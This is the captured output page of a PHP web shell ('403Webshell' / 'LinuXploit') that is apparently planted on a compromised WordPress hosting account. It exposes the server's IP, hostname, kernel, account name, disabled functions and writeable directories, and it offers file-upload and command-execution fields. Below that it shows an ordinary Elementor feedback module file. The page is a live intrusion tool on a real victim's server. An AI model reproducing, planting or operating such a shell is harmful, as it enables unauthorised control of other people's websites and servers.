403Webshell
Server IP : 10.19.1.101  /  Your IP : 216.73.216.158
Web Server : Apache
System : Linux web1f13.kinghost.net 5.4.282-1.el8.elrepo.x86_64 #1 SMP Mon Aug 19 18:33:22 EDT 2024 x86_64
User : schererimoveisrs ( 170628)
PHP Version : 7.4.33
Disable Function : apache_child_terminate,c99_buff_prepare,c99_sess_put,dl,exec,leak,link,myshellexec,openlog,passthru,pclose,pcntl_exec,php_check_syntax,php_strip_whitespace,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,system,socket_listen,socket_create_listen,putenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/schererimoveisrs/www/wp-content/plugins/elementor/modules/feedback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/schererimoveisrs/www/wp-content/plugins/elementor/modules/feedback/module.php
<?php

namespace Elementor\Modules\Feedback;

use Elementor\Core\Base\Module as Module_Base;
use Elementor\Modules\Feedback\Data\Controller;
use Elementor\Plugin;
use Elementor\Api;
use Elementor\Core\Common\Modules\Connect\Rest\Rest_Api;
use Elementor\Utils;
use http\Cookie as HttpCookie;
use WP_Http_Cookie;
use WpOrg\Requests\Cookie;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Module extends Module_Base {

	public function __construct() {
		add_action( 'rest_api_init', fn() => self::register_routes() );
	}

	protected function register_routes() {
		register_rest_route( 'elementor/v1/feedback', '/submit', [
			'methods' => 'POST',
			'callback' => fn( $request ) => $this->handle_submit( $request ),
			'permission_callback' => '__return_true',
		] );
	}

	protected function handle_submit( $request, $additional_cookies = [] ) {
		$user_meta = get_user_meta( get_current_user_id(), 'wp_elementor_connect_common_data' );
		$app = Plugin::$instance->common->get_component( 'connect' )->get_app( 'feedback' );
		$body = [
			'title' => 'Editor Feedback',
			'description' => $request->get_param( 'description' ),
			'product' => 'EDITOR',
			'subject' => 'Editor Feedback',
		];

		$response = $app->submit( $body );
		$response_code = $response['response']['code'];
		if ( 'OK' === $response['response']['message'] ) {
			return [
				'success' => true,
				'code' => $response_code,
				'message' => esc_html__( 'Feedback submitted successfully.', 'elementor' ),
			];
		} else {
			$message = $response['data']['message'] ?? esc_html__( 'Failed to submit feedback.', 'elementor' );
			return [
				'success' => false,
				'code' => $response_code,
				'message' => $message,
			];
		}
	}
	/**
	 * Retrieve the module name.
	 *
	 * @return string
	 */
	public function get_name() {
		return 'feedback';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit